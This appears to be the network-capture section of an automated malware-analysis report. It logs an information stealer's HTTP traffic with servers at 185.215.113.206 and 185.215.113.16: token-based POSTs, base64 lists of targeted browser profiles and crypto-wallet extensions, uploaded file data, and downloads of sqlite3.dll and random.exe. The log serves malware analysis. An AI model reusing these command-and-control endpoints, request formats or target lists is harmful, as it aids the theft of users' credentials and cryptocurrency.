Dec 10, 2024 05:10:36.484412909 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:36 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 10, 2024 05:10:36.484483004 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 10, 2024 05:10:36.485975027 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKECFIEBGCAKJKECGCFI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 31 32 63 61 63 34 65 61 65 63 33 66 66 37 64 38 62 64 30 32 33 35 38 65 62 64 32 39 38 30 32 38 62 33 61 66 61 62 33 32 62 61 62 65 32 34 39 62 34 35 61 33 30 39 31 33 33 33 39 37 61 61 64 31 66 34 33 38 32 31 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 2d 2d 0d 0a Data Ascii: ------KKECFIEBGCAKJKECGCFIContent-Disposition: form-data; name="token"812cac4eaec3ff7d8bd02358ebd298028b3afab32babe249b45a309133397aad1f43821d------KKECFIEBGCAKJKECGCFIContent-Disposition: form-data; name="message"plugins------KKECFIEBGCAKJKECGCFI--
Dec 10, 2024 05:10:36.925335884 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:36 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 10, 2024 05:10:36.925364971 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Dec 10, 2024 05:10:36.925375938 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Dec 10, 2024 05:10:36.925523043 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Dec 10, 2024 05:10:36.925534010 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Dec 10, 2024 05:10:36.925543070 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Dec 10, 2024 05:10:36.927268028 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIJDHIDBGHJKECBFIID Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 31 32 63 61 63 34 65 61 65 63 33 66 66 37 64 38 62 64 30 32 33 35 38 65 62 64 32 39 38 30 32 38 62 33 61 66 61 62 33 32 62 61 62 65 32 34 39 62 34 35 61 33 30 39 31 33 33 33 39 37 61 61 64 31 66 34 33 38 32 31 64 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 2d 2d 0d 0a Data Ascii: ------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="token"812cac4eaec3ff7d8bd02358ebd298028b3afab32babe249b45a309133397aad1f43821d------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="message"fplugins------DHIJDHIDBGHJKECBFIID--
Dec 10, 2024 05:10:37.366156101 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:37 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 10, 2024 05:10:37.383891106 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHIIJDBKEGIDHIDAFCF Host: 185.215.113.206 Content-Length: 5387 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 05:10:37.383924961 CET	5387	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 46 48 49 49 4a 44 42 4b 45 47 49 44 48 49 44 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 31 32 63 61 63 Data Ascii: ------CFHIIJDBKEGIDHIDAFCFContent-Disposition: form-data; name="token"812cac4eaec3ff7d8bd02358ebd298028b3afab32babe249b45a309133397aad1f43821d------CFHIIJDBKEGIDHIDAFCFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 10, 2024 05:10:37.681689978 CET	1236	OUT	Data Raw: 65 47 55 4b 43 57 35 73 55 30 78 54 64 32 70 35 52 57 78 6e 55 69 35 6c 65 47 55 4b 43 57 35 73 55 30 78 54 64 32 70 35 52 57 78 6e 55 69 35 6c 65 47 55 4b 43 57 35 73 55 30 78 54 64 32 70 35 52 57 78 6e 55 69 35 6c 65 47 55 4b 43 57 35 73 55 30 Data Ascii: eGUKCW5sU0xTd2p5RWxnUi5leGUKCW5sU0xTd2p5RWxnUi5leGUKCW5sU0xTd2p5RWxnUi5leGUKCW5sU0xTd2p5RWxnUi5leGUKCW5sU0xTd2p5RWxnUi5leGUKCW5sU0xTd2p5RWxnUi5leGUKCW5sU0xTd2p5RWxnUi5leGUKCW5sU0xTd2p5RWxnUi5leGUKCW5sU0xTd2p5RWxnUi5leGUKCW5sU0xTd2p5RWxnUi5leGU
Dec 10, 2024 05:10:38.332566977 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 10, 2024 05:10:39.272888899 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 10, 2024 05:10:39.710050106 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 10, 2024 05:10:39.710187912 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 10, 2024 05:10:39.714138985 CET	248	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49901	185.215.113.16	80	5596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 05:10:35.160408020 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 10, 2024 05:10:36.505079985 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 04:10:36 GMT Content-Type: application/octet-stream Content-Length: 968192 Last-Modified: Tue, 10 Dec 2024 03:27:27 GMT Connection: keep-alive ETag: "6757b51f-ec600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 17 b5 57 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 16 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELWg"w@ v6@@@d\|@Zu4@.text `.rdata@@.datalpH@.rsrcZ@\@@.relocuvP@B
Dec 10, 2024 05:10:36.505136013 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Dec 10, 2024 05:10:36.505146980 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Dec 10, 2024 05:10:36.505295992 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Dec 10, 2024 05:10:36.505306959 CET	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Dec 10, 2024 05:10:36.505319118 CET	1236	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Dec 10, 2024 05:10:36.505330086 CET	1236	IN	Data Raw: 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04 Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWO
